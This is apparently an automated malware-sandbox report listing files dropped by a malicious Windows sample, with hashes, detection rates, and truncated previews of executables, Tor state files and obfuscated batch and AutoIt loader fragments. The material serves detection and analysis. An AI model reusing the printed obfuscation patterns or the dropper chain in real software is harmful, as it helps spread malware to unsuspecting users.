Preview:	{"RecentItems":[{"AppID":"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge","PenUsageSec":15,"LastSwitchedLowPart":7763552,"LastSwitchedHighPart":31061488,"PrePopulated":true},{"AppID":"Microsoft.WindowsCommunicationsApps_8wekyb3d8bbwe!Microsoft.WindowsLive.Mail","PenUsageSec":15,"LastSwitchedLowPart":4292730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Office.OneNote_8wekyb3d8bbwe!microsoft.onenoteim","PenUsageSec":15,"LastSwitchedLowPart":4282730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.Windows.Photos_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4272730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.MSPaint_8wekyb3d8bbwe!Microsoft.MSPaint","PenUsageSec":15,"LastSwitchedLowPart":4262730848,"LastSwitchedHighPart":31061487,"PrePopulated":true},{"AppID":"Microsoft.WindowsMaps_8wekyb3d8bbwe!App","PenUsageSec":15,"LastSwitchedLowPart":4252730848,"LastSwitchedHighPart":31061487,"Pr

C:\Users\user\AppData\Local\Temp\1600.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4707351
Entropy (8bit):	7.9987320211549635
Encrypted:	true
SSDEEP:	98304:Q4Js9EOXpbgaKwIAzQKGQk1Tr+TDNiase2vddwJjrF4dm8:B4XV5KwIgDGQoTIDVsbvdOJXF4dD
MD5:	AC1F652F56A5D8DA834680A729BB08C7
SHA1:	67D93C21D58C42874B417BC0CC4D55F8E509A28C
SHA-256:	DF7B3F70371116DCBDE25DD117254DE513F9ABE9CA80559498C38CFA04B6503F
SHA-512:	878423C0B812D012F0F79CCEF24605A4997BCDB3815E9B00663E0CA2A5EFCEE420C434A1E22EDB409DD3E6F33B5B5F57E7A0980B45451404262E85D2C789895B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 11% Antivirus: Virustotal, Detection: 12%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS.....L................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\FD8E.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4297616
Entropy (8bit):	7.9897950760246275
Encrypted:	false
SSDEEP:	98304:5uJ+mQVy+bO/gTPrVKY31RmoFg+NxoUKIhltVeal5ZCRHNOq:ATQw+DP1yebXKIPyal5oRn
MD5:	DDB9E283DA50BE00E70D982A8952FD9E
SHA1:	D547EB4133C595E7C699A6AD28EBC54DB08D062A
SHA-256:	ACEE0678E7B8E07828826E0C2C8244357FCE25FF63D823EB987E25CF2494A6D3
SHA-512:	F2EA64231E92E240FE58E9888777A370722051969E33BAF8EBBBC976E1619642E3FF95E4B0A753804D85BDB72C25EAF8E319C3EE85BE8DD9CF9D6F3399F6592A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 100% Antivirus: Virustotal, Detection: 65%, Browse
Joe Sandbox View:	Filename: n8JqyJSXnE.exe, Detection: malicious, Browse Filename: B2AUFF22T7.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................PE..L...K..d..................?...C.....a.........@...@...................................B.....................................44@.d....P...D............A...............@...............................@.@.............@..............................text.....?.......?................. ..`.rdata..j-....@.......@.............@..@.data...\|.B..@@......0@.............@....rsrc....d...P...F...B@.............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2DF.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	419840
Entropy (8bit):	7.120561555045735
Encrypted:	false
SSDEEP:	6144:PrWet83KFhsr9ADNdx/zQlpuE+7h0dDcMpgkeI76v+tus:PKz3KTDNdBQl4h7huDcqe+W+tu
MD5:	47FF6687383E2C84A0DDF860E8DB33EB
SHA1:	F2C050CEAA89782BFC1AC11408B1DD0D1C5BF850
SHA-256:	CEC4526595332B8CFFE6739A84914E22E2954CB92022FC25E380E0D687AB487A
SHA-512:	08DDCD728B3DFABD2C81E1B2314F5F79B044CB4F4E41363BE08459E5548E040763A5DE8D3F283C15C7104267EF2138BD512E1B8A035DEB243C2777CA5986E3F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$........j............`.....`............Tv.....Tv.....Tv.....Tv.....2w.....)u.....)u.....)u.......s........D...t.....t+.....C....t.....Rich............PE..L...u.e...............$.....Fi......X............@...........................n.....g9....@..................................F..d....pk.......................l.T....-..8...................@........-..@............................................text..._........................... ..`.rdata..Z...........................@..@.data.....h..`.......>..............@....rsrc........pk......D..............@..@.reloc..T.....l.....................@..Bfkgjuy7...... l.....................@..@........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\35E5.dll

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2158592
Entropy (8bit):	7.937934645895191
Encrypted:	false
SSDEEP:	49152:m2PuO0ctaJ+8IBAQAQjVyj4NM6fO2ruQ8nFA7bIE29hJI:m2P4hJ+hBcOyjefOiuroA
MD5:	5987C294CCBA44C0D7805C332132507D
SHA1:	F5D9AA9BF0B1623A76A043C3EB1F736256887589
SHA-256:	DA0E089B88A6BA2738C72CC1A001E6A14D0AAFE8BD550591E6BFFCF4D174097B
SHA-512:	F624EE01DCCCBA7BB53E8376B7D2A93CD542772A462A1C46780B71E7EC34FF6D15C21570E0CA06E2FF15F1AE5A28B9131D630C2E7F37420A395042EDDC7A1F5E
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61% Antivirus: Virustotal, Detection: 63%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i..............p......................p.......p.......p......Rich....................PE..L.....6...........!.....p...p ......"........................................ .....J.!.................................f............. .h..................... ..-......................................................X............................text....i.......p..................;..`hvwba..................................@.data...0~..........................@...D................ ..................@...CONST........0... ...0..............@....CRT....*$...P...0...P..............@..@.qdata..h..... .. .... .............@..@.reloc..rA.... ..P.... .............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3BD2.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1278578
Entropy (8bit):	7.888680770548891
Encrypted:	false
SSDEEP:	24576:1D3s67Twbc8NIdi9SePHdvwtlTWlTnF6hcz5+ntmgTUji:RX7Tdosepwr4TnF6hYEtp
MD5:	1B728C6E8F10313D7367C82E48D022DA
SHA1:	192A6598214C1A9D19717F18E271A4360EB38B44
SHA-256:	16748566FC9E297FA08B4433FADEAFDD63C1527FAD4CAC0CF8DF287DF56088D1
SHA-512:	3BF139A04D28A6858EC8C697F3387C613844D0628AD42725D21274A3574937482DA2BC921944D34B4B7E1D91F4821E328CF2668AD768A52CB2C63C15B136D258
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3% Antivirus: Virustotal, Detection: 3%, Browse
Preview:	MZ`.....................@...............................................!..L.!Require Windows..$....................c..............................................A.....A.....A......A.s........A.....Rich..........PE..L...G%.[.................B...................`....@.........................................................................L........`..<............P...1..........0...T...............................@............`...............................text....A.......B.................. ..`.rdata.......`.......F..............@..@.data....\..........................@....rsrc...<....`......................@..@........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4577.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1899520
Entropy (8bit):	7.983042052289404
Encrypted:	false
SSDEEP:	24576:iQX9+3Y1m2M/++RBu4dZxuOxYyWelVrMGROcxRvhqvETcq6+aic+eKZELRMBk:HTk29zXODWevrMItxhhqvt+k+eKZE9G
MD5:	AA053CF4ED948FEC79703DEBBB45FBBF
SHA1:	5911604358446DF9EBF3397DBB6EBF82628BA7A7
SHA-256:	0D7AAF278F5B8CFF257702F9FD344FA7547D9901C4EC1AE8742954E827026E90
SHA-512:	DFCB6EDBA8EF8EBF66316F1E68D2CE9A4CE45C6F03CDD94821673B75E075A3CCBC0767CF4CB8B3B3D4BD14DF28F8122DADF0C433F8471A0502E01BD8B66287FD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70% Antivirus: Virustotal, Detection: 51%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L.... .c.................:....B..............P....@..........................._..............................................s..d.....^..x...........................Q..............................hm..@............P..t............................text....9.......:.................. ..`.rdata..b,...P.......>..............@..@.data.....B..........l..............@....rsrc....x....^..z..................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4KPV6A~1\state (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\4577.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	209
Entropy (8bit):	4.778257629145952
Encrypted:	false
SSDEEP:	6:SbdWwxXlI/uR7nXr87+QVe2vwR/Ep5fM83U7osbQz:bwxXWu1Xr87HVBvwNCW7Wz
MD5:	84548ADEFD91E1D79F3E641C726EA100
SHA1:	F9F37BAEE7CD9B08F864C777551A607369A9A148
SHA-256:	4393A2B867762C791C76B38E7BF46645399D19269902C22976F3404B724C531C
SHA-512:	C94DBDCBB50A74F0F49D01ACD3204F87BE25B32248197BA87EBB49DCD5A389B6F6CDEBFAC81C26534357861EAFCE469EC7DFDC053EAAB28A1CF53B7E37754F28
Malicious:	false
Preview:	# Tor state file last generated on 2024-01-07 05:29:48 local time..# Other times below are in UTC..# You do not need to edit this file.....Dormant 0..LastWritten 2024-01-07 04:29:48..TorVersion Tor 0.4.4.9..

C:\Users\user\AppData\Local\Temp\4kPv6aJG8e\state.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\4577.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	209
Entropy (8bit):	4.778257629145952
Encrypted:	false
SSDEEP:	6:SbdWwxXlI/uR7nXr87+QVe2vwR/Ep5fM83U7osbQz:bwxXWu1Xr87HVBvwNCW7Wz
MD5:	84548ADEFD91E1D79F3E641C726EA100
SHA1:	F9F37BAEE7CD9B08F864C777551A607369A9A148
SHA-256:	4393A2B867762C791C76B38E7BF46645399D19269902C22976F3404B724C531C
SHA-512:	C94DBDCBB50A74F0F49D01ACD3204F87BE25B32248197BA87EBB49DCD5A389B6F6CDEBFAC81C26534357861EAFCE469EC7DFDC053EAAB28A1CF53B7E37754F28
Malicious:	false
Preview:	# Tor state file last generated on 2024-01-07 05:29:48 local time..# Other times below are in UTC..# You do not need to edit this file.....Dormant 0..LastWritten 2024-01-07 04:29:48..TorVersion Tor 0.4.4.9..

C:\Users\user\AppData\Local\Temp\5390.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	308736
Entropy (8bit):	6.446359605030636
Encrypted:	false
SSDEEP:	6144:u8lLhDkSuupj2pETuETIm61NfTgYn79o6q:u+WSuup0EzbCn7a
MD5:	0E219D95AC454729366F376B54D9CFB4
SHA1:	18D0669758DF7344248BDE48827EAA0AB6B0420D
SHA-256:	BA134E62CF135A967C9C08BC04D3568B3A11A8933D299ADA80506855B6680D5C
SHA-512:	77DA1BA45B636C8617B68E5B20B9E3F87A407CECEFFD395AA989DF8B2FF67BDE07F41FEEF61967F4C9B324A8E31D12A702E6968028B627500744ECBC35193EDD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41% Antivirus: Virustotal, Detection: 46%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......(8e.lY..lY..lY..r...}Y..r...>Y..r...HY..K.p.kY..lY...Y..r...mY..r...mY..r...mY..RichlY..........PE..L....6.d.................d...z......#"............@.......................... .......`..........................................P........}..................................................H........................................................text....b.......d.................. ..`.rdata...@.......B...h..............@..@.data...\|...........................@....tls.........p.......0..............@....fidox...............2..............@....zope...A............4..............@....rsrc....}.......~...8..............@..@........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1071200
Entropy (8bit):	6.430438608680571
Encrypted:	false
SSDEEP:	24576:ig3SttBw3RuXUurx5pJDrYwrxI9ABHu/MKkWMG7AaVBu:igUtEkXUu15pJDrYKxO2Hu/MKkWMdaVw
MD5:	BFA84DBDE0DF8F1CAD3E179BD46A6E34
SHA1:	06AE3C38D4B2F8125656268925EBDE9ECA6A1F9E
SHA-256:	6DE412B8674FFBA5D78FF9D36ABFFBE2CF86FD08B2231592FCA2FCF41F1F2314
SHA-512:	EDD4C839437570003E1CC4A04E6CB7BF8C70C0EBDAE741E69782E9BDF47C42441CD8D709170898859B94B3248CCCF0E9DFA5E183C110B93DED935CE69A0FF82A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........1.q.P.".P.".P."y..".P."y.."QP."y..".P."S.1".P.".8.#.P.".8.#.P.".8.#.P.".(u".P.".(q".P.".(e".P.".P.".R."^9.#.P."^9.#.P."^9.".P.".Pa".P."^9.#.P."Rich.P."........PE..d......`.........."......F...*.......Y.........@....................................v.....`...@...............@.............................Pl..\|.......h....P..xo...2..`&......\|...@...........................(...`................`..8............................text...dD.......F.................. ..`.rdata..DB...`...D...J..............@..@.data...P........P..................@....pdata..xo...P...p..................@..@.rsrc...h............N..............@..@.reloc..\|............&..............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\i

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (822), with CRLF line terminators
Category:	dropped
Size (bytes):	1279384
Entropy (8bit):	5.0644379393145424
Encrypted:	false
SSDEEP:	12288:4cVZ+Gk+GNp+gamDRv93ZLDOgelGglyKMNpF4AX5NUAvMNuZvHd1Q52s:4QybZ3O1X/CXLU
MD5:	60969E04B275EF5736BCFDBC9BB8956E
SHA1:	F83AEBF03595E292B4FA442268A04ADB9237D1B2
SHA-256:	FFE11903CB1D486498AE4D4BC4B877E042E9D5BB534BD83A885062CE9E7D3EA5
SHA-512:	0D1FD501E26924B98C30571A6778D571A81D758101AC9CDEBD7FE52650A6D31D504B3579B5BF9E9321B1F07C58D9737760C2EFC8AA2948670AC33D1CE61C6C47
Malicious:	false
Preview:	$LogitechDeletedVersions = 61..$ScholarshipBs = 92..For $bMNte = 20 To 673..If $LogitechDeletedVersions = 59 Then..FileExists(MANORMATCH("93}115}39}81}106}107}39",42/7))..ACos(410)..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..If $LogitechDeletedVersions = 60 Then..Sqrt(7417)..FileExists(MANORMATCH("110}99}100}113}116}99}118}113}116}107}103}117}49}99}117}117}119}111}114}118}107}113}112}117}49",6/3))..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..If $LogitechDeletedVersions = 61 Then..Opt(MANORMATCH("86}116}99}123}75}101}113}112}74}107}102}103",4/2), 1)..ExitLoop..EndIf..If $LogitechDeletedVersions = 62 Then..Sqrt(2639)..Sqrt(8713)..$LogitechDeletedVersions = $LogitechDeletedVersions + 1..EndIf..Next..Func DiCarefully($machineryauditordog, $distinctionpartnereverywheregloves, $hungariansatelliteholytrials, $MercedesChannels, $EXEMPTOUTPUTS, $HomelessHosting, $DashAlways, $TravelersPar, $ErSimFist)..$PorscheWeekendsImpaired = '90946534876'..$originass

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Advancement

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	ASCII text, with very long lines (1848), with CRLF line terminators
Category:	dropped
Size (bytes):	13972
Entropy (8bit):	5.801943003416029
Encrypted:	false
SSDEEP:	384:xPHVNWi9WRyY24I6VdM9XcKkpl7LXdb9W9X89S6/f9XcKntpFeae96fNaBNFeGew:MivY246XX2142hFXXXe6Fi85kN
MD5:	505F790E3CC3F421285B34B305CAE9AF
SHA1:	21670A4C7FED0276B21DCA2A3C99F6D3A0DF8BD0
SHA-256:	EEDF0F94E30907D8C55A5F6DC6312E52943D3268F1F4BC72270CE6DEBAE53D34
SHA-512:	1499095E2DCC66BE8593D6BF418BE378CA6BED7454FCA57FE4220B06F1F4A4B20CE9242AA9B75B237FEC4A9996A2F3E946D2D6B01B1557CABE2E19D0DCB5BF26
Malicious:	false
Preview:	Set AaDTaJjYFxTHbULoQVcALegmXneImYdaCuCencdbebsfoosm=v..HjYTkbttVTGEmGr=tdsIKcFYnhLYsOiDspsr..IVtYzmbRnXLkItwiI=kHqcXMyMuLejfgZyvchJdW..uqdZNJKuvJEuv=hXaTGaLOkHvjCIFUY..fmTcHMarvFGCLoD=obUQJEvaOICBieABLfQWmSdF..DWyoJWgIPmiZiFKeBGYp=WzytQcsHjdigfyHslyLgSsDaCE..uTYksvJHDqrSAWwCoqKRmrL=BhUYEPMCjMkNgyPS..Set ntsujlaROxaRNpeoHJtBLeNgBGOKggrlSkwYxlfeCi=q..zKmCoFHcLsUcseEFvH=AsoZBotNvxwYEhaUQikCI..InAdFHsFJGVEgrlLXxtRlq=adoYoOnlyUUJKnlCbvRLxrZ..fKypQnRvHOoqvIpRlvPKxxAhMSGca=fgdpJnJgzGrbwVfl..PjqAYhfEUpRv=RcrsmTJhYLoVeoHWaEXCMRoaPdqwF..gRSxPHxKvcASQBSEWtIHCETTj=jKCoTIHpvdrHzZCIoCeTwHAlzVzXj..YYoPxJihCSlGtBBgLIyUvsR=YFlaPXgJWMaymDETA..ZlIxCZIylKSahGuPRPnPnFDAJao=OitjxBaHJDekJJNERE..LYKMOxKczGiKlQjdeFG=MgmyhNhyPSYJyUbntxfRJuYqBTRcb..KYkFMbnEmwiEGBHnE=aNkHdOgFdmDxVSIc..Set qnAiqqmVgKymvargBeJieIvduuZqyyfWl=x..ZtoaNLMwrpyTuAuxPYgysw=wTqmPpcofrKrp..JVcfGzuqhSAZLmXWh=YUimMjXSHqQPvvWw..eSQKIrqGoYQn=kaQxyfklpoaOLylbvreJzUrbFfRi..EguxLPbZwsHPVTKnWXXPpMVNOCd=zPPbtsEUkxZdMbx..cUbwzZIaTsJRzzFonoGkCpKD=PjC

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Bow

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	154624
Entropy (8bit):	6.539601972943663
Encrypted:	false
SSDEEP:	3072:HDSN42zOCVZQCy9oilAVUWPrTjXrwHrSnePONqAMNtr80:HDSN1FQLaiOOWP/jXrwUqAM/X
MD5:	EFD8B81929D7C38B49E8DAAD7A20C138
SHA1:	EF55C3F3E31EB93389B639112ED97CF5FC41B1BF
SHA-256:	7BA2C0E7BF1E5ECE9A84DBAB13B90708A6B7CAB1CE4D410DBFC293CDCFBF8565
SHA-512:	5A4E3EC6F49C42548132EDC544CDC713759A42B9006F3FAE76D5DD9708319E33B8D758059F8ED82EFE62AD14381631863C3A31BC70E53B5ECB18C9804FC4402F
Malicious:	false
Preview:	...D$0D..H..h...I..H.D$(I..H.\$ ..G..D......N...\|$T;\|$P...P..L;.......F...A...I...9D$@...O....p.......D..D$0M..H..h...I..H.D$(I..H.\$ .F..D...t..VN............O..L;........O..................O.......D..X.......p...M..I..I...........D$0H..h...H.D$(H.\$ .+F..D......M...\|$P.t$X;\|$T..2O..L;.......b...A..........I...#.....;.u.A............%...........I...9L$\...N..;....N....p.....D..X......D$0M..H..h...I..H.D$(I..H.\$ .E..D.....`....2M.....D$0H..h...H.D$(H.\$ .WE..D......M...\|$P.t$X;\|$T..^N..L;...........A...9D$\..CN..;...;N....p...I...D..X.......M..D$0I..H..h...I..H.D$(H.\$ ..D..D...t..L............M..L;........M..D......D9........M...Y.....X.......p...D..M..I..I...........D$0H..h...H.D$(H.\$ .dD..D......L...\|$P;\|$T..oM..L;...........A..........I...#.....;.u.A............%...........I...9L$\.. M....p.......D..D$0M..H..h...I..H.D$(I..H.\$ ..C..D.....l....{K.....D$0H..h...H.D$(H.\$ .C..D.....TK...\|$P;\|$T...L..L;...........A...I...9D$\...L....p.......D..D$0M..H..h...I..H.

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Contractors

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	175104
Entropy (8bit):	6.4026940422253364
Encrypted:	false
SSDEEP:	3072:McsuPwi9Cf7mKumDMr28XJQnugUB5XSXRsG5+N7+N:MchPwPf73umIrxJQugUvCXRB5+N7Q
MD5:	35AC7A5B2A591749C8A33F19DAB5CDBC
SHA1:	FC1EA0FE6E7E8481213E8A3434148211F71AB12A
SHA-256:	DE04D7BE8BD7B73EBFB135CBEE3AAFE84D3A544ACE7C5DBE994610D139608175
SHA-512:	49A8FCD2F7A0A44BBC6BB71EA9791F23E4570B81DC4F26B0994294943CB9CD0247442A3B657FAE6FEFB5F3B4B74A31A4F0DE43B818D6C776EA0757473A9C9A60
Malicious:	false
Preview:	g..fD9?u$H...f....H..7g..fD9?u.H...f...q.....H.......H..Tf..L9..H.........fD9?..w...Hc.L...H.........?...H..H.M......3..E.P...H.M.D.BL.E...L.m.L.M.L.m.E3..E........E'....I..$......E3.........E...........D.E.E..A......E..y%fD9.......H...E.....E..H.}.......E'.`A..A....E..$@A..A.D....$.A...D....@".A...D....A....D......%.....D..A...t.E..u.....u.E.I..$L.M.E3.....I...E3..t"E..~ A....s7..I..$E3......E3..u.A..H.M.H.).u!........I.......E..t.....A..H.M.H.).u.........H...z...L..$......I.[0I.s@I.{HI..A_A^A]A\]....H.L$.H..(.L$0.H..kd..M..L.D$0.......t-HcD$0...\|#;..w....H...H...I..H....@..........3.H..(...H.\$.H.l$.VWAVH..0E3.I..A..E.1I..H.D$`..H..fE90......H...(..H.........u.H..@.......H...(..H.........u.......LH...(..H.........u.......2H...(..H........u........H...(..H........u......3...:....(L.L$`.D$ ....E3...H....M...H.D$`H..t....H.\$PH.l$XH..0A^_^..H.\$.H.t$.WH.. H..(....H..u.H...X..H..(...H..8...H..0...L..H...%w..H......H..t*L......L..S.H......H..H......H..t.H.?.u.H..

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Corporate

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	ASCII text, with very long lines (3964), with CRLF line terminators
Category:	dropped
Size (bytes):	445440
Entropy (8bit):	4.042863496668086
Encrypted:	false
SSDEEP:	6144:z1gZjGg4zETGKMqt4t/Me/N4A3Zwk0bUNVOHR2:zelGglyKMNpF4AX5NU8
MD5:	8998A0723F051B5C7E91ABCFBF187143
SHA1:	6900FB44E2699F1897C1BFC87478EE8A44B7DA06
SHA-256:	BB4D3575AA1136FAC21D60E1F6F40190F631163F73E6554EF296D9E950B4D5EE
SHA-512:	3C8EA2C055BBBF4C5EB6F88F97989440FF5591797526F3779E7469ADC383063E0DC47DADBFE0FB43C361F3F043EB5FA7E4CAD7CF5D63C0093D9EDB7900553862
Malicious:	false
Preview:	790E0BA5E53054E8D988F066842A7B82B76356DAA3EBA4F566489E8B4146392A7C630F29729D51C52EADB27035BCD770CE30CA2B8F13530D42CF956846C9E798F7F5BC30743247008E8EF7AA5F29F70806B878164BF499C432E57E45CF14274E0AC2EC356E9E09038BE262D60EA2B4530AD6CDCFCE0AAAEF272427A941F07506955CABE2D4CD34566F84D0E3370DA41A37D30866370BA8DE6597532910EF0A45CC54BAF72A3DC55F812DDEE0C78782CB1DDA0929E78A173ADA2CFCECFD7E3E51A8D440CD6560103B541F2DC46A969CC35C0AC92B612B7BD2E1FECAB5211F7FAE7B28D8CFE8AE1B6E993CA96B75C502392EF6C5608A804E80CD458B3E9F4FC0609E34BB6DD8A2F3B707D73E6475AED8252E28C3534589E05A586B7226578850361FFC2C51EADC13F288C1CEDFC50BA8C87049979D953E72B14B3897567ECFBA5ACCA76DFC6FF30A5790C01AC7A6026AEDE34817C9FFEF3D429C94AD0D190942CC00EA877B3E8C4A305C60A34319013C045A096E360422ABCD0F358E1105E72FC5E0B5136FBE54994C6566138BDDAE2825F5A3BEA5340098A95AA4A1D76FC6112E64B2414F3B16F3BF5CC733347592EC5ED84F716FB1EEC372AAF1C3F96E23D7D7C31394263AD39093541657A5161058821F4C0E5E9824902FAC81CF780A707683B7DE73EBBED69E695E129441E4E985AA63414946

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Desk

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	158720
Entropy (8bit):	4.998880604264959
Encrypted:	false
SSDEEP:	3072:X61e9Bd0YddxrTgarmeI93RdeniKqk/IgM:X61eLgarRI93qi4M
MD5:	283B60351B19B137B0AD4EFB86DCBFC1
SHA1:	51D61A9ADD9DCB749F8DDD2F7FB9A4A9CF7C46BC
SHA-256:	A3217C4E170B80D7C75FF38D9667CCAA66349D8E0C3FC022F4EC0982909A754A
SHA-512:	5417AF78AA3CA8E76657FF3E89CD68D4B4925E6931620BEC7D58324C839DB140035F4CE11C73E74FC44DA8F0CC63D2C92D37C667C7FED879B193636A60494929
Malicious:	false
Preview:	/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././......./.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...............................................................................................................................................................................r.r.r.r.r.r.r.r.r.....................................r.r.r.r.r.r.r.r.r.r.r.r.r.r...........................................................................................................................................................................r...............................................................................................................................................r.....r.r...r.r.....r.r.........r.........................r...r...............r...............................................................................................

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Kinds

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	data
Category:	dropped
Size (bytes):	46176
Entropy (8bit):	6.921819874269237
Encrypted:	false
SSDEEP:	768:bDP8WBosd0bHazf0Tye4Ur2+9ByVatPVEV3GPkj9d:sWyu0uZo2+9BgWOEMd
MD5:	0C257B9EDBCC7F41AF6E1027BC0713EE
SHA1:	2149A7BB22476F85610C842C34628B2F22D8A549
SHA-256:	7AC226E081D090F2E3CB99104B4226FCD5E77CB83F7EDB23081C1A2BD376533C
SHA-512:	F98B584E5112A81336AD4D7F2A1A4066028FC0C9D7A0B5B148172BD4C9A0485983EA868522A61999415837FDBD73401CB703138729E03831DC39BBE6C1F3F25B
Malicious:	false
Preview:	.<...=.........1....v....:.....y<...#..g.>.0.m.\U.AD...kx.>(..U..c........G.[..MUMR-..........56T.K"..E.[...Nu.....MU.....GEd....C.6p..kU.........l....!.?.\|.j.N.[.......YU}>.H\....1;;..........k...9....O...l.f.-K..\|>c..?...B.C.K.y..X.yU./.a.E,..........W.=.i.:........\|..a...\.D"%.....l.UD>.\|.x.[... ^..?Q./l...!......0~....2.C.Y.(..Q.l..R.l,[)Wll...\......}.....R.i.>..4..i........m.<.U...\|..H.{...(..-.m.P....Ts..4J....2..%V.K...YY/.]..Vbu.D.R5..eS.m....*...Ak. 5.7.!.3...70...i.3..... .. ........DB~".....E......m.~#.L.{............(..T.Y/V.._frq......u..6J...E.lQ,W(U....u[0...I._...>Z.&....h.T....0...B.-[U.....=..x<........k.D".$"?.........ln...e.....SX+Q.X....\H.Y=B.\|&.....1....:"t&...`...Z..?...Q....C..B..m....d.{1e.X..V.p}:..,.s,-o`..}G......X8.pO....;..>Z.>\|..4.ATU..e..eY.....@}].A....'h...e..V".Z..L.7..36[.X..%.A.I.g...)..b..-DB......Z..m..i..b.X.#.......a....~....+.e..k.]..d...e...T..)[.3.........&.HGI.B.C.f..5.K.gT..D"........b..\|.0.O.O7..

C:\Users\user\AppData\Local\Temp\7ZipSfx.000\Payday

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BD2.exe
File Type:	ASCII text, with very long lines (822), with CRLF line terminators
Category:	dropped
Size (bytes):	454656
Entropy (8bit):	5.273728935999391
Encrypted:	false
SSDEEP:	6144:4bDf5iVZ+Gk+GNp+le5M2YmCDiDDFnv9aIZOAsGV7AX1A:4cVZ+Gk+GNp+gamDRv93ZLDO6
MD5:	4D83C8404F636CBB8AB0F08ED1063A14
SHA1:	1BF2758F989495E5A2F13ACD4C9FB2C8C176613F
